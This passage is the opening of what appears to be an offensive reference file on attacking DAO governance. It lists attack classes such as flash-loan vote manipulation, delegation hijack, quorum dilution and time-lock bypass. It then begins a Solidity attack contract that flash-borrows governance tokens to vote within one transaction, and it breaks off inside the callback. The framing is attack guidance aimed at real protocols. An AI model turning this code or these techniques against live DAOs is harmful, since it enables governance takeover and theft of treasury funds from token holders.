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contracts-governance-attack

DAO governance attack — flash-loan-backed vote manipulation, delegation hijack, quorum dilution, proposal-spam DoS, time-lock bypass via emergency multisig, snapshot vs. on-chain vote desync, Compound/Aave/Uniswap-style GovernorBravo abuse.

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# DAO Governance Attack

## Attack classes

### 1. Flash-loan-backed vote
DAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable:

```solidity
// Attack: borrow governance token, vote, return loan, all in one tx
function attack() external {
    // 1. Flash-borrow gov tokens
    IFlashLoan(aave).flashLoan(address(this), govToken, 1_000_000e18, "");
}
function executeOperation(...) external {